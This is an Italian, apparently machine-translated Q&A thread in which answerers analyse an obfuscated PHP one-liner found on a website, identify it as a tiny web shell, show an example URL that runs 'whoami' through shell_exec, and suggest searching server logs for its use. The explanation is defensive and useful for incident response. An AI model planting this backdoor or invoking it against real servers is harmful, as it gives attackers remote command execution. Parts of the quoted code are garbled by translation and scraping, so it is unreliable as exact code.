2015-09-25 15 views

risposta

9

È una shell PHP. Se lo riscrivi nell'URL file.php? 2 = shell_exec & 1 = whoami esegue il comando whoami sulla shell. Nel tuo esempio, un parametro è passato da POST, uno da GET. Quindi è un po 'più difficile da chiamare.

È possibile chiamare anche altre funzioni. Il primo parametro è sempre il nome della funzione, il secondo è un parametro per la funzione chiamata.

Apparentemente è spiegato su http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) ma il sito non viene caricato per me.

/modifica: se si ha accesso ai file di registro del server, è possibile effettuare una ricerca per verificare se l'hacker ha utilizzato questa shell. Un semplice egrep "(& | \?) 2 =. +" Registri * sulla shell dovrebbe funzionare. Si vede solo metà del comando eseguito (solo GET, non POST), ma forse questo aiuta a vedere se l'hacker ha effettivamente usato il suo script.

PS: Questo è stato risposto prima qui

+0

"qui" dove? Penso che tu abbia dimenticato il link –

+0

Grazie mille. Ottima spiegazione Andando a votare in circa 3 minuti. –

3

Rompiamo questo un po ':

([email protected]$_GET[page]).@$_($_POST[404]); In primo luogo, questo è due espressioni essere concatenati con il periodo: ().().

Nella prima espressione, $_= , $_ è una variabile, e viene assegnato alla variabile =$_GET['page'], o forse l'uscita di una funzione anonima fa riferimento. Se fa riferimento a una funzione anonima, lo @ eliminerebbe eventuali errori da esso.

La seconda espressione, @$_($_POST[404]); sta partendo con soppressione errore @ della funzione anonima $_, che si può dire ora è una funzione anonima essere chiamato perché è seguito da (. L'argomento passato a questa funzione è $_POST['404'], quindi la seconda parentesi chiude la chiamata.

Quindi penso che i tuoi sospetti siano corretti; questo sembra codice offuscato destinato a sembrare innocuo o parte del sito. Sospetto che i valori per e $_POST[404] siano forse stringhe javascript il cui eco nella pagina potrebbe installare malware o adware.

È possibile eseguire il debug di questo più osservando i valori di queste due variabili e vedendo quello che sono.

Come meglio posso dire senza conoscere i valori in GET e POST, sembra che la variabile $_ sia assegnata alla stringa , che sarebbe qualunque cosa qualcuno sottopone all'URL quando carica la pagina. Quindi, sono in grado di passare il nome della stringa a qualsiasi funzione al sito e di averlo in ambito PHP.

Quindi, eseguono tale funzione arbitraria sul valore $_POST['404']. Quel valore è anche qualunque sia il browser o utente POST s alla pagina.

La concatenazione e la parentesi esterna ().() potrebbero essere solo più offuscamento o il punto di questo codice potrebbe essere quello di echo semplicemente i risultati di questo codice sulla pagina (per iniettare javascript) per esempio. Ma è anche possibile che chiamino la funzione che vogliono su qualunque argomento abbiano passato. Non posso dirlo semplicemente guardando, ma probabilmente qualcuno più esperto di PHP potrebbe farlo.